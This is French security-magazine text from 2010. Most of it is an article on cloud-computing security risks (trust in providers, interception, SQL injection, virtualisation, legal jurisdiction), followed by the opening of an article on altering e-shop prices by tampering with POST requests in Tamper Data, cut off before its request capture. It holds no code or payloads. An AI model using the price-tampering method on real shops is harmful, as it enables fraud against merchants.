Wroclaw et la société Supersafe en 2008 démontrent que seulement 8 % sur 470 petites et moyennes entreprises protègent les informations importantes en utilisant pour cela des sauvegardes en-ligne. Un tiers de toutes les entreprises ont déjà perdu des données précieuses et ont ressenti des conséquences importantes y liées. Dans un cas sur quatre, cette perte a été liée à une panne de l'équipement informatique ou à une suppression involontaire par un employé. Mis à part les sauvegardes, parmi d'autres solutions populaires qui se servent du cloud computing se trouvent l'accès aux suites bureautiques, aux messageries électroniques et aux antivirus. Des lecteurs traditionnels ont été en quasi totalité remplacés par les webmails. Thunderbird ou Outlook sont capables de ralentir efficacement les ordinateurs plus anciens ; lancer une nouvelle suite Office est quasiment impossible sur ces machines. L'utilisateur opte donc sans hésiter pour Google Docs, stocke les courriels sur un serveur et donne à l'antivirus en-ligne un accès complet à son ordinateur. Les spécialistes rappellent que la renommée de l'entreprise à laquelle nous confions nos données est très importante. Les destinataires du service ne savent pas forcément comment fonctionne en détails la technologie des nuages de calcul et font alors confiance au fournisseur. Une erreur ou une fuite de données depuis une telle entreprise peut avoir un énorme impact sur sa position sur le marché. Il faut donc supposer que de grands fournisseurs feront tout leur possible de maintenir un niveau élevé de la sécurité. De l'autre côté, en cas d'une fuite éventuelle des données ou une attaque des cybercriminels, elles peuvent dissimuler ce fait et ne pas le rendre public. Les banques et les grands services Internet fonctionnent d'une manière similaire et essayent de ne pas communiquer une attaque pour ne pas perdre la renommée. Il faut se rendre compte que dissimuler les informations sur une fuite de données ou une attaque des clients et de l'infrastructure a ses défauts. Une menace consiste en fait que les grandes entreprises essayeront de minimiser la question en assurant les utilisateurs que leurs données sont protégées. Les situations similaires ont déjà
52 HAKIN9 03/2010
50_59____koswdowski.indd 52
2010-03-11, 14:42:55
INFORMATIQUE DANS LES NUAGES
eu lieu de nombreuses fois. À titre d'exemple, rappelons la fuite l'année dernière d'une base de données de 100000 utilisateurs d'un portail communautaire Pendant plusieurs semaines, ses propriétaires ont dissimulé l'information que les mots de passe n'étaient plus sûrs et ont assuré, une fois le responsable trouvé, que toutes les copies volées de la base avaient été récupérées. Cela semble ridicule car comment peut-on vérifier le nombre de fois que les données ont été copiées ? Malgré cette situation, les utilisateurs se sont sentis rassurés, la police s'est jointe à l'enquête et l'administration publiait des messages sur les progrès. La plupart de situations de ce type, en particulier si elles concernent les données plus importantes que des mots de passe pour un portail communautaire, ne sont jamais rendues publiques.
Attention aux terminaux Les banques se comportent d'une manière similaire dans les situations de crise et les attaques sur des banques seront analogiques. Il est plus facile d'attaquer un seul client qu'un centre de données bien protégé mais la différence en bénéfices est aussi significative. Dans quelques années, lorsque le cloud computing progressera suffisamment, l'utilisateur n'aura qu'un netbook, un ordinateur peu cher ou un téléphone équipés d'un système d'exploitation et d'un navigateur. La suite bureautique, le client de messagerie électronique et autres programmes se trouveront sur le nuage. L'utilisateur se servira également du disque en-ligne fourni par le fournisseur de services. Facile à deviner qui sera l'objectif d'une attaque. Il semblerait que le système sera ici exceptionnellement sécurisé. Malheureusement, ce n'est pas le cas. Le vieux Windows XP est toujours installé sur les netbooks, qui ont potentiellement le plus besoin d'être supporté par le nuage. Microsoft a même déclaré que ni Vista ni Windows 7 ne pourraient pas être installés sur les ordinateurs portables où la mémoire RAM sera inférieure à 1 Go. Cette solution n'est pas bonne pour un utilisateur ordinaire ; Vista configuré par défaut garantira plus de sécurité que Windows XP standard dépourvu de service packs. La situation peut empirer lorsque Microsoft arrêtera de supporter ce système
et ne publiera plus de patches pour les failles détectées. Sans support de la part de Microsoft, l'utilisateur sera tout simplement laissé au gré des cybercriminels. Ce point concerne également les ordinateurs plus vieux équipés de Windows 2000 ou 98, toujours présents. Du premier abord, ces utilisateurs ont ce qu'ils ont voulu car ils n'installent pas de patches et utilisent de vieux logiciels. L'ordinateur d'un tel utilisateur peut devenir toutefois une station cible pour accéder aux ressources plus précieuses du nuage, destinées à un plus grand nombre de personnes. Il est facile d'imaginer un logiciel malveillant qui se servira du disque en-ligne lié à l'ordinateur attaqué ou utilisera la puissance de calcul disponible pour craquer les mots de passe. Des attaques similaires ont été effectuées à une grande échelle (notamment pour craquer les mots de passe des utilisateurs du service eBay). Remarquons aussi l'importance de plus en plus grande des téléphones mobiles pour lesquels être connecté au nuage de calcul donne des possibilités tout à fait nouvelles. Les versions mobiles du navigateur Opera constituent ici un très bon exemple. Dans ce cas-là, le site est
téléchargé sur un serveur, il est ensuite rendu en prenant en compte les fonctions de l'écran du client, il est compressé et cette version-là est envoyée à l'écran du téléphone. Les serveurs Opera sont chargés de toutes ces opérations et l'application installée sur le téléphone ne fonctionne que comme client. Google a fait un pas plus en avance. Il est très difficile de déterminer une frontière entre ce qui fonctionne localement dans le système Android et ce qui fonctionne sur le nuage.
Le nuage, c'est pour qui ? Tout le monde ne peut pas se permettre d'utiliser des nuages des autres, ils créent donc les leurs, notamment les entreprises et les institutions gouvernementales. Un nuage de calcul est en fait un réseau de serveurs dont la structure ne doit pas être essentielle pour les utilisateurs. Toutes les entreprises qui ne peuvent pas confier leurs données aux fournisseurs des services externes sont ainsi capables d'utiliser le cloud computing. L'objectif principal de cette solution consiste en effet à mieux utiliser les ressources et à réduire les coûts. Un problème apparaît toutefois dans
Figure 5. Les suites bureautiques disponibles en-ligne constituent des exemples d'utilisation d'un nuage de calcul 03/2010 HAKIN9
50_59____koswdowski.indd 53
53
2010-03-11, 14:43:05
PRATIQUE ces systèmes. Il est lié à la gestion des serveurs et des disques qui sont virtualisés. Un concept server sprawl (prolifération des serveurs virtuels) est ainsi apparu. Il signifie une augmentation soudaine du nombre de machines virtuelles qu'il est de plus en plus difficile de gérer. Le nombre physique d'ordinateurs ou de disques est de moins en moins important. Ce qui prévaut est ce que l'utilisateur voit. Les administrateurs se rendent souvent compte des questions relatives à la sécurité après avoir mis en place la virtualisation. Une pratique courante consiste à fournir les serveurs et à analyser ensuite comment les protéger, dit Rafał Janus. Créer un environnement sécurisé n'est donc pas simple et demande des connaissances. Il faut ajouter que la virtualisation ne consiste pas seulement à placer plusieurs serveurs sur une machine physique. Ce concept concerne également des mémoires de masse (disques virtuels), des ordinateurs de bureau et des applications.
Attaques du futur Des tentatives de se faire passer par le fournisseur des services constituent un danger potentiel. Actuellement, il arrive de faire face aux attaques par phishing (usurpation d'identité des banques ou des services afin d'intercepter le compte d'utilisateur) et aux fausses entrées dans les serveurs DNS. Les attaquants se servent d'une vitrine intermédiaire qui collecte les données transmises, les enregistre et redirige l'utilisateur immédiatement vers le vrai serveur. Une attaque similaire peut être réalisée par rapport au cloud computing. L'idée principale consiste à intercepter les données envoyées au nuage. Supposons qu'elles sont précieuses car un hébergement payant en-ligne sera utilisé pour stocker des fichiers importants. L'idée la plus simple, employée au début dans le phishing, consisterait à créer son propre service qui ressemble par exemple à Google Docs et à encourager des internautes à l'utiliser. Mais cette démarche demande une infrastructure. À la place il serait donc plus intéressant de créer un passage entre l'utilisateur et le nuage Google et d'intercepter seulement les données intéressantes. Dans ce cas-là, une page avec le formulaire de connexion
ne suffit pas. Il est nécessaire de maintenir une connexion constante, les données sont en effet échangées tout le temps et souvent de manière asynchrone à l'aide de AJAX sans rafraîchir la page. Pour résoudre ce problème (du point de vue de l'attaquant), il est possible par exemple de mettre le serveur proxy et de modifier le navigateur de la victime de sorte qu'elle se connecte via ce serveur. Si la transmission est cryptée (elle ne l'est pas chez Google Docs), il faudrait en plus la craquer. Il ne s'agit ici que d'un modèle théorique mais il est possible de lancer des passages plus complexes et plus difficiles à détecter. Une telle attaque n'est qu'une idée théorique et sa réalisation en pratique peut être compliquée mais intercepter la connexion est tout à fait possible. Nous pouvons nous attendre à rencontrer dans l'avenir des tentatives similaires d'usurper l'identité d'un fournisseur des services de traitement dans le nuage. Actuellement, une attaque courante c'est la SQL injection, autrement dit, injecter une requête à la base de données depuis le site du client. Si le serveur filtre insuffisamment les requêtes envoyées par exemple par le navigateur, l'utilisateur peut le forcer à effectuer des opérations dangereuses. Ces erreurs concernent principalement des systèmes uniques, créés à la demande ou écrits par des programmeurs inexpérimentés. Dans le cas de grandes entreprises, la SQL injection a rarement lieu. Une attaque similaire peut être effectuée dans le cas des services fonctionnant dans les nuages de calcul. En analysant les messages envoyés et reçus par le navigateur, l'attaquant peut localiser les endroits où il peut ajouter un code supplémentaire. Contrairement aux serveurs des sites Web, qui permettent au plus un accès à la base de données, les nuages de calcul peuvent être utilisés pour lancer un code dangereux voire le placer sur les serveurs de manière constante.
Où attaquer ? Attaquer une machine est toujours plus simple qu'attaquer tout un réseau de machines mais dans le cas de nuages de calcul, l'attaque peut cibler plus qu'un serveur individuel. Concernant les serveurs individuels, l'attaque consiste à trouver des services qu'ils proposent, à identifier les
logiciels, à détecter leurs points faibles et à utiliser les programmes qui profitent de ces failles. Il n'est pas important si le logiciel est écrit ou téléchargé depuis Internet. Une attaque des milliers ordinateurs simples est similaire, à cette différence près que la question de détection des erreurs dans un logiciel est omise. Les cybercriminels infectent le plus grand nombre d'ordinateurs possible en espérant qu'une partie d'entre eux est équipée des applications avec failles dont ils pourront profiter. La question est complètement différente dans le cas d'un nuage de calcul. Le prestataire ne fournit que l'interface de l'application et l'ensemble de calculs se trouve sur ses serveurs. Si l'architecture de logiciel est bien conçue, la partie utilisée de l'application doit être sécurisée et protégée complètement contre l'accès depuis l'extérieur. Cette solution permet de protéger l'application lancée contre la recherche des failles et les rend en principe plus sûres. De l'autre côté, les programmes qui ne quittent pas les serveurs du fournisseur des services peuvent avoir de nombreuses failles que personne ne cherchera à réparer. Si un attaquant réussit à accéder à l'intérieur du système (en corrompant par exemple des employés), il pourrait compter sur le fait que personne ne remarquera les failles qu'il trouvera pendant des mois.
Adieu les script kiddies ! De telles opérations demandent beaucoup de travail mais peuvent apporter gros. Actuellement, les petites entreprises et les particuliers n'ont pas de moyens pour payer les services des administrateurs expérimentés ou un audit de sécurité des dispositifs sur place. Les utilisateurs ordinaires ne se font pas de souci pour la sécurité de leurs données, applications et équipement. Les grandes entreprises qui proposent leurs services et ressources dans le cadre du modèle SaaS attachent davantage de la valeur à la sécurité. De plus, elles en seront de plus en plus conscientes avec le développement du marché et de la concurrence. Les spécialistes nous avertissent : la difficulté d'accéder à un logiciel attaqué et de trouver des failles ainsi que des qualifications indispensables feront augmenter les prix
54 HAKIN9 03/2010
50_59____koswdowski.indd 54
2010-03-11, 14:43:12
INFORMATIQUE DANS LES NUAGES
des exploits et des informations sur les « failles jour 0 ». Une attaque d'un centre de données ou des nuages de serveurs ne pourra plus être utilisée par des amateurs qui ont trouvé par hasard des programmes appropriés sur le Net (script kiddies) mais deviendra le domaine de groupes capables d'investir dans leurs propres programmeurs ou de corrompre des employés d'une entreprise attaquée afin de faire sortir le programme à l'extérieur. La plupart de personnes pourraient en être contents : finis les attaques pour s'amuser ou pour se vanter devant des copains, mais l'avenir n'est pas si rose. Les salles de serveurs sont bien évidemment pour des raisons évidentes (comme des administrateurs expérimentés) plus sûres qu'un ordinateur à domicile ou au bureau mais les applications utilisées dans le cloud computing peuvent être plus dangereuses. Une mafia ou un gouvernement d'un pays se préparant à une cyber-guerre peuvent prendre le contrôle des attaques sur les nuages de calcul. Le retour à l'époque des groupes d'hackers serait la meilleure perspective possible parce que personne de raisonnable ne pourrait parier qu'avec le transfert de la plupart de services dans les nuages, les problèmes avec les attaques des données disparaîtront. Elles passeront tout simplement à un niveau supérieur, inaccessible à la plupart de gens. De l'autre côté, en dehors du nuage sûr, il existe des milliers d'utilisateurs ordinaires qui se servent des milliers de navigateurs différents sur des centaines de systèmes d'exploitation. En transférant leurs programmes sur le Net, ils mettent la responsabilité pour leurs ressources à des administrateurs et fournisseurs des services. Dans une telle situation, ils peuvent perdre complètement conscience de la question de la sécurité. Une utilisation constante des services partagés via le Net, y compris la protection antivirus, peut donc ramener à la disparition de la conscience quant aux menaces venant de l'Internet et à une plus grande confiance pour les programmes lancés du côté du serveur. Ces changements ne seront pas toutefois importants. Les fabricants des logiciels installés sur les machines locales (et il s'agira dans l'avenir principalement des navigateurs)
pourraient commencer à protéger de tels utilisateurs. À titre d'exemple, le travail de toutes les cartes dans un processus séparé devrait devenir standard, comme c'est le cas chez Google Chrome. De l'autre côté, les fournisseurs des services peuvent ne pas autoriser certains utilisateurs, qui se servent des logiciels vétustes et dangereux, d'accéder au Net. Actuellement, afin d'accéder à une partie de ressources, liées en particulier à la sauvegarde de données, il faut utiliser des logiciels clients fournis par le fournisseur des services. Il semble donc naturel que tout le monde n'autorisera pas des navigateurs anciens et dangereux d'entrer sur le Net ou ces navigateurs ne seront pas tous supportés. Nous le remarquons en ce moment avec l'approche des banques qui fonctionnent de manière similaire que les entreprises liées au cloud computing.
Retour aux sources Les changements dans l'approche de la sécurité peuvent signifier le retour aux débuts du hacking. Lorsque les mauvais hackers apparaissaient, cracker les protections ne consistait pas à télécharger des scripts prêts depuis Internet ou à acheter un magazine, à l'ouvrir sur la page consacrée aux Attaques et à utiliser les programmes décrits. Il allait les inventer d'abord. Les personnes qui crackaient les protections avaient pour but un accès
gratuit au téléphone, aux ressources de l'ordinateur central ou voulaient tout simplement prouver aux autres que le système n'est pas sûr. Les attaques n'étaient pas un acte de vandalisme mais servaient à des objectifs définis. Bien évidemment, les attaques étaient centrée sur des grandes entreprises mais en réalité elles étaient les seules victimes, en plus des concurrents des hackers. Plus tard, avec la propagation de l'Internet, nous avons vu arriver des criminels qui guettaient des internautes inconscients, à qui il était toujours facile de voler des mots de passe, qui ne modifiaient pas les mots de passe par défaut et qui installaient tout et n'importe quoi. De l'autre côté, les hooligans d'Internet n'ont pas du mal d'obtenir des outils et donc de passer aux attaques. Utiliser un exploit téléchargé depuis Internet pour faire une blague à un copain peut être amusant mais les attaques réalisées par des personnes qui n'ont aucune idée de ce que fait le programme téléchargé consistent en général à détruire sans aucune raison une base de données des autres ou des données sur un serveur FTP. Si le cloud computing se développe jusqu'au moment où nous n'utiliserons qu'un navigateur, nous pourrons nous attendre à plus de professionnalisme de la part du hacking. Les serveurs Web et FTP d'entreprise disparaîtront suivi par la
Figure 6. Emplacement des 38 centres de données de Google. Source : wayfaring.com/ 03/2010 HAKIN9
50_59____koswdowski.indd 55
55
2010-03-11, 14:43:18
PRATIQUE plupart de logiciels locaux dont les failles constituent souvent une raison d'attaques sur les utilisateurs ordinaires.
Dépendants du fournisseur Une absence soudaine d'accès au Net peut constituer un problème plus grave que les attaques des meilleurs hackers. Les utilisateurs individuels se servent rarement d'un ordinateur qui n'est pas connecté à Internet et la tendance d'être tout le temps en-ligne s'accentuera. Si la plupart de services, de programmes et de données seront transférés dans les nuages de calcul disponibles uniquement via Internet, se déconnecter du Net peut alors être assimilé à une catastrophe. Dans plusieurs années, grâce à une meilleure utilisation de GSM et à une apparition de WiMAX, l'accès à Internet sans fil se généralisera mais il existera toujours des endroits hors de portée. Même si le monde est couvert de signal, des pannes peuvent avoir lieu et avoir comme résultat la déconnexion des centaines de personnes du Net. Leurs ordinateurs deviendront alors quasiment inutiles. La question de l'entreprise est différente, surtout des entreprises traditionnelles, centrées sur la production. Dans leur cas, l'accès à un réseau externe n'est pas nécessaire tout le temps et les nuages de calcul locaux peuvent fonctionner de manière autonome. Les tâches comme le contrôle de production, la journalisation des entrées et
des sorties des employés ou le support des messages internes et des imprimantes ne demandent pas l'accès à Internet. De l'autre côté, les tâches qui n'ont pas d'impact direct sur la production (sauvegarde, serveur de messagerie externe, hébergement des sites Web) peuvent être transférées à l'extérieur. Avoir son propre nuage garantit bien évidemment une plus grande sécurité et une indépendance vis à vis des fournisseurs d'Internet mais restreint la qualité de base du cloud computing, à savoir l'évolutivité. Dans les deux cas, nous devenons toutefois dépendants du fournisseur d'Internet. Dans les pays où un seul fournisseur de technologies GSM propose ces services, il peut donc décider des frais car il sait que les clients payeront tout prix pour avoir l'accès à Internet. Si en plus, l'opérateur est contrôlé par le gouvernement, comme c'est le cas en Émirats Arabes Unis, des tentatives de contrôler les gestes des utilisateurs ou de les déconnecter d'Internet, voire d'ordinateurs peuvent avoir lieu. Nous arrivons de nouveau au point où il faut faire confiance à une nouvelle entreprise. L'emplacement physique de la salle de serveurs a une grande importance pour les plus grandes entreprises fournissant les services dans le modèle cloud computing. Si les services doivent être proposés partout dans le monde, les retards liés au transfert des données au serveur situé
Sécurité ? Pas tout de suite La sécurité de données stockées dans les nuages représente, au moins pour l'instant, peu d'importance pour les clients. Entretien exclusif avec Karl Obluk, directeur technologique chez AVG Technologies, pour le magazine hakin9. Est-ce que les clients font confiance aux services dans les nuages ou est-ce qu'ils préfèrent les solutions locales ? Il me semble que de nombreux utilisateurs qui stockent leurs données en-ligne ne sont pas tout à fait conscients des implications liées aux questions de la sécurité. Ils font confiance aux fournisseurs de ces services et leur plus grand souci est que la durée de téléchargement des fichiers (sauvegarde) soit la plus courte possible. Avec l'augmentation du nombre de fonctionnalités proposées par les fournisseurs et le débit de plus en plus grand de la connexion, les solutions de ce type peuvent devenir de plus en plus populaires. Comment le cloud computing changera-t-il l'approche d'un utilisateur ordinaire à la question de la sécurité ? Vu que protéger les données de ce type est très compliqué, la plupart d'utilisateurs font confiance aux fournisseurs des services de sauvegarde en se basant sur des recommandations et des critiques. Bref, je ne pense pas que les nuages de calcul changent profondément l'approche d'un simple utilisateur à la question de la sécurité. Comment les données stockées dans les nuages, sont-elles protégées ? La manière de protéger les données dépend en grande partie du fournisseur. Il peut s'agir d'un simple codage avec une clé qu'a le fournisseur du service, des systèmes de sécurité pourvus des mécanismes complexes de codage où c'est l'utilisateur qui a la clé.
des milliers de kilomètres de l'utilisateur, influenceront considérablement la vitesse de la transmission. Dans ce cas-là, il est important de placer des serveurs à proximité des endroits d'où le plus grande nombre de personnes se connecte. La question n'est pas si simple. Google précise que créer un centre de données coûte environ 600 millions de dollars et la maintenance annuelle de tous les centres de données s'élève à environ 3 milliards de dollars. L'emplacement des centres de données a un grand impact sur les dépenses. On opte pour les endroits qui garantissent un accès à une énergie pas chère et verte. L'accès aux rivières et aux lacs dont l'eau est utilisée à refroidir les salles de serveurs ainsi que l'environnement pour assurer une sécurité sont importants. On prend également en compte les impôts dans le pays donné et la distance depuis les centres de données existantes. Grâce à une telle optimisation, il est possible d'obtenir la réponse à des requêtes les plus complexes au navigateur après une dixième fraction de seconde et nous obtenons de l'aide au fur et à mesure en saisissant les requêtes. À chaque fois que nous appuyons sur le clavier, plusieurs dizaines de serveurs Google, situés dans des parties différentes du monde, se mettent à travailler. L'énergie utilisée par ces serveurs suffit apparemment à faire bouillir 100 ml d'eau (moitié d'un verre).
Nous payerons pour avoir des nuages sûrs ! Les cadres dirigeants IT attendent une protection de données et d'applications fonctionnant dans le nuage. 89 % des personnes questionnées l'affirment d'après les recherches effectuées en octobre 2009 par Trend Micro, société fournissant les solutions de protection de l'infrastructure partagée par Internet (security for-thecloud). Malheureusement, seulement 40 % de personnes questionnées ne prennent en compte que des solutions sûres. Les autres préfèrent l'évolutivité et la réduction des coûts. Une telle approche peut être liée au fait que ces personnes n'ont pas de connaissances suffisantes sur la question de sécurité (c'est triste) ou qu'elles calculent que le risque de perdre des données récompense tous les bénéfices potentiels. De l'autre côté, 61 % de personnes
56 HAKIN9 03/2010
50_59____koswdowski.indd 56
2010-03-11, 14:43:31
INFORMATIQUE DANS LES NUAGES
questionnées ne sont pas encore prêtes à transférer l'infrastructure dans les nuages mais elles veulent utiliser cette technologie dès qu'elle sera davantage sécurisée. Les clients potentiels des fournisseurs des logiciels, qui servent à créer des nuages, attendent d'eux de faire particulièrement attention à créer des solutions sûres et une manière de les certifier. Actuellement, il est difficile de comparer les systèmes concurrents et les fournisseurs soulignent eux-mêmes que les clients se basent principalement sur la confiance et les recommandations d'une entreprise donnée. Le système universel de certificats pourrait résoudre ce problème. Aussi bien les utilisateurs qui auraient un choix facilité que les entreprises honnêtes en auraient profité.
salles de serveurs et des applications qui y fonctionnent. Les dangers de base sont
identiques que pour d'autres services de ce type (dommages physiques, erreurs
Nuage dans les yeux du client Dorota Oviedo, analyste du marché ICT de la société Frost & Sullivan (www.frost.com), nous dit comment les clients individuels et les entreprises perçoivent le fait de stocker et de traiter des informations dans les nuages de calcul. Les nuages de calcul et la distribution de logiciels dans le modèle SaaS sont non seulement des concepts à la mode dans le secteur ICT mais aussi des tendances claires du marché d'aujourd'hui. Les plus grands acteurs investissent actuellement dans les infrastructures basés sur les nuages de calcul. Les leaders du marché de télécommunication unifiée et de travail en équipe promeuvent Saas, ce que nous pouvons remarquer par exemple chez Cisco et WebEx, IBM et LotusLive ou bien Microsoft et des services de la gamme BPOS. De plus, la popularité des médias communautaires et de la messagerie électronique comme Gmail chez les utilisateurs individuels aide à accepter le concept de nuages. Ce qui est intéressant, ce que aussi bien les petites que les grandes entreprises portent l'intérêt à ces services et demandent aux fournisseurs des services d'administrer, de garantir l'accessibilité et la sécurité, ce qui leur permet de se concentrer davantage sur le développement de leur activité principale. Le ralentissement de l'économie mondiale aide décidément ce marché de services à progresser. Actuellement, les entreprises préfèrent les solutions basées sur les dépenses courantes. Les plus petites entreprises font également attention au niveau d'avancement des systèmes de communication commerciale moderne ainsi qu'à l'absence d'un personnel qualifié pour gérer ces systèmes. Dans le cas de grandes entreprises, la souplesse des services de télécommunication permet de tester les outils disponibles. Bien que la perte de contrôle et la sécurité soient citées comme la menace principale pour le développement du marché, le renommé d'un fournisseur des services, les contrats SLA (standard de services) et les exemples de solutions mises en place réduisent les craintes des clients potentiels. En pratique, l'attention est portée surtout au coût, en particulier par les petites entreprises.
Fournisseurs ciblés Une attaque peut toucher un prestataire et non seulement les utilisateurs du cloud computing. Il est facile d'imaginer une situation où les utilisateurs – des particuliers – pourraient essayer d'obtenir plus de ressources que prévues pour eux. Il faut donc faire attention à la sécurité des
P
U
B
L
I
C
I
T
É
03/2010 HAKIN9
50_59____koswdowski.indd 57
57
2010-03-11, 14:43:37
PRATIQUE des employés) et les administrateurs expérimentés peuvent donc y remédier. N'oublions pas les attaques de l'extérieur (par exemple, DDoS) et les tentatives de lancer un code dangereux par les utilisateurs. La distribution du nuage de calcul constitue sa qualité incontestable du point de vue de la sécurité. Les attaques Dos et DDoS, qui consistent à inonder le serveur des nombreuses requêtes et à épuiser les ressources, menacent la plupart de services centralisés. La protection contre des milliers de fausses requêtes consiste en effet à les filtrer par le serveur. Dans le cas d'un nuage de calcul, la charge est divisée entre plusieurs machines et le risque d'épuiser les ressources d'un seul ordinateur est ainsi plus bas. La protection physique des données est également facilitée dans le nuage. Dans les solutions professionnelles, les données sont stockées dans plusieurs salles de serveurs pour garantir un accès rapide depuis tout endroit dans le monde. Les serveurs sont donc éloignés physiquement l'un de l'autre, ce qui protège contre un incendie dans une salle de serveurs, une panne d'une machine et des erreurs des employés. La virtualisation a une grande importance dans le cas des entreprises fournissant des services dans le modèle cloud computing. Personne n'a besoin d'être convaincue que les serveurs physiques sont utilisés davantage si de nombreuses machines virtuelles y sont situées. À l'instar d'autres entreprises et des entreprises utilisant le nuage, cette solution permet de réduire les coûts et
augmenter l'utilisation des serveurs mais pas seulement. Nous nous éloignons du modèle où plusieurs applications différentes se trouvaient sur un serveur et nous passons à la solution où une seule application se trouve sur un serveur virtuel. Par conséquent, le nombre de machines virtuelles augmentera considérablement et il faudra les gérer toutes, dit Rafa Kwa ny de la société Novell pendant le débat mené par le service VirtualFocus. La diffusion des applications en machines virtuelles autonomes permet de protéger tous les clients contre l'attaque sur des applications individuelles. Il existe un risque de prendre le contrôle sur les applications et les données protégées dans les systèmes sans virtualisation ou les systèmes qui combinent plusieurs services sur la même machine. C'est possible grâce à une attaque sur les solutions moins sûres sur la même machine. La structure : un système - une application réduit considérablement ce risque. Si l'attaquant prend le contrôle du programme non protégé, il accédera à un système virtualisé où aucune donnée importante ne se trouve.
Trop rapide pour la loi Le nuage de calcul est un concept tellement abstrait qu'un règlement juridique de ce type de services peut poser des problèmes. Les géants d'Internet doivent déjà prendre en compte qu'ils ne peuvent pas offrir leurs services partout. Certains pays ne permettent pas d'utiliser des outils cryptographiques par les utilisateurs civils et l'accès aux documents érotiques ou la possibilité de
Virtualisation La virtualisation consiste à séparer de manière logicielle ou matérielle la couche de ressources des applications qui s'en servent. Une couche abstraire est ainsi créée et elle cache les ressources disponibles. Une solution populaire consiste à installer des systèmes d'exploitation virtuels. Un système installé de telle manière peut être enregistré et transmis sur un autre ordinateur équipé des logiciels de virtualisation. Cette opération prend le temps nécessaire pour copier les fichiers dans un nouvel emplacement. Un ordinateur physique peut contenir plusieurs systèmes d'exploitation virtuels. Grâce à cette solution, tous ces ordinateurs peuvent fonctionner indépendamment avec une seule application, ce qui permet par exemple, de protéger le système avec le serveur de messagerie électroniqu, en cas d'attaque du système avec le serveur FTP. La virtualisation permet de mieux utiliser les ressources. De nombreux serveurs peu chargés peuvent se trouver sur une machine physique et si l'un d'entre eux a besoin de plus de ressources, il est possible de le transférer sur un autre ordinateur. Les disques durs, les applications et les processeurs peuvent également être virtualisés (aussi bien en les combinant en matrice RAID qu'en séparant les supports physiques).
stocker des données personnelles sont réduits dans d'autres pays. Certaines entreprises s'adaptent aux règlements internationaux et locaux, par exemple, nous ne pouvons pas voir des films sur YouTube qui ne sont pas autorisés par la législation du pays donné. De nouveaux problèmes apparaissent toutefois avec le développement du cloud computing. Est-ce qu'un document traité sur un serveur allemand par un utilisateur français est soumis à la législation française ou allemande ? Et que faire si le même document est utilisé par plusieurs dizaines de serveurs situés dans les centres de données dans des pays différents ? Et que faire si le système d'exploitation de l'utilisateur est virtualisé ? Et si l'utilisateur commet un crime, il est impossible de savoir quel serveur, parmi tous ceux qui se trouvent sur le nuage, a effectué des opérations illégales. Même si certains pays règlent ces situations, cela ne les concerne pas tous. De plus, les lois peuvent être contradictoires. Les spécialistes des entreprises fournissant les solutions pour le cloud computing ne prévoient pas de changements importants dans l'approche des utilisateurs ordinaires pour la question de la sécurité. Mais transférer la plupart de logiciels dans les nuages de calculs bien protégés, constituant des salles de serveurs professionnellement gérées, permet de réduire le risque de l'attaque sur les ordinateurs à domicile ou les serveurs dans des petites entreprises. La raison est simple : très peu de logiciels s'y trouveront et donc la protection sera à charge des fournisseurs de services. Le choix du client se limitera à choisir une entreprise de confiance qui fournit le service en question. Le mauvais choix aura des conséquences tragiques car la quantité de données transférée sur le nuage augmentera constamment.
Marcin Kosedowski Journaliste publiant notamment dans les magazines Internet Maker et PC World. Il s'intéresse à l'anonymat, aux spams et à la cryptographie. Actuellement, il termine ses études à la faculté de l'Electronique et de la Télécommunication à l'Ecole Polytechnique de Wroclaw.
58 HAKIN9 03/2010
50_59____koswdowski.indd 58
2010-03-11, 14:43:46
50_59____koswdowski.indd 59
2010-03-11, 14:43:54
TECHNIQUE Les failles de type Request DATA AMAR PAUL
Degré de difficulté
Cet article porte sur les failles de type Request DATA, leurs dangers face aux nouvelles applications Web et les moyens de prévention mis en place par certaines plates-formes.
A
vec Internet, les e-boutiques fleurissent sur le Web et proposent leurs services. Ces dernières ont parfois des problèmes de sécurité faisant transiter des informations critiques comme, par exemple, le prix du produit souhaité dans le corps de la requête. Un des risques potentiels serait que cette brèche soit utilisée à des fins malhonnêtes, notamment acheter de nombreux produits à des prix qui n'ont rien à voir avec ceux indiqués sur les sites cibles. La présente étude portera donc dans un premier temps sur les risques des failles de type Request DATA, sur la façon de les détecter et sur la manière dont un attaquant les utilise à son profit. Dans un second temps, nous nous intéresserons à une méthode pour pallier ce problème et pour 'patcher' l'application Web concernée.
CET ARTICLE EXPLIQUE le principe des failles de type Request DATA, leur utilisation à l'encontre des e-boutiques, mais aussi le moyen de sécuriser son site web pour se prémunir contre ces risques.
CE QU'IL FAUT SAVOIR avoir des notions importantes en PHP, SQL et (x)HTML.
Utilisation à l'encontre des Sites Web, E-boutiques et autres structures Web Essayons d'apprendre à détecter la présence d'une telle faille dans notre application Web et voyons ainsi comment un pirate pourrait l'exploiter. Ce qu'il faut déjà comprendre, c'est qu'il existe deux types de requête HTTP : GET et POST. Malheureusement, les deux méthodes n'échappent pas à la vulnérabilité qui sera présentée ici.
L'utilitaire le plus souvent utilisé est Tamper DATA. Il s'agit d'un add-on pour Mozilla Firefox qui permet, entre autres, de visualiser et d'éditer les Headers HTTP/HTTPS ainsi que les données en POST et bien d'autres fonctionnalités que vous découvrirez grâce au lien fourni en annexe ; cet outil sera le petit couteau suisse des curieux ! Cet utilitaire a permis de constater que les données envoyées aux serveurs cibles contiennent de nombreuses informations, dont le prix. Dans notre cas, l'utilitaire Tamper DATA altère ces données et les envoient ensuite, comme dans la procédure normale. Nous aurions très bien pu réaliser un utilitaire permettant de forger nos propres requêtes POST avec les champs nécessaires et les valeurs que nous voulions mais l'utilisation de Tamper DATA nous semble être la plus efficace et la plus rapide à mettre en place. D'autres outils existent, comme FireBug, permettant de modifier la source de la page et changer certains attributs du formulaire (voir Figures 1 et 2). Un schéma permettra de mieux comprendre l'attaque. Nous allons maintenant nous intéresser à un cas réel, à savoir une e-boutique. Nous ne donnerons pas plus de détails car notre but n'est pas de nuire à une entreprise mais d'introduire une nouvelle notion de vulnérabilité qui sévit sur la toile. Comme toute e-boutique, différents menus vous sont proposés avec un choix d'articles à acheter et lorsque vous cliquez sur l'un d'eux, une
60 HAKIN9 3/2010
60_63___request.indd 60
2010-03-11, 13:22:03
LES FAILLES DE TYPE REQUEST DATA
fiche produit s'affiche, présentant ses différentes caractéristiques (la taille, la disponibilité,...) ; mais ce qui nous intéresse ici est tout simplement le prix. Ce dernier est donc affiché et vous renseignez la quantité désirée. Ensuite, vous cliquez sur le bouton Ajouter au panier qui enverra les données à un script lequel gèrera la mise dans le panier, bref un exemple commun à tous. Commandons un article avec des attributs aléatoires et décortiquons la requête POST. Voici la capture d'écran
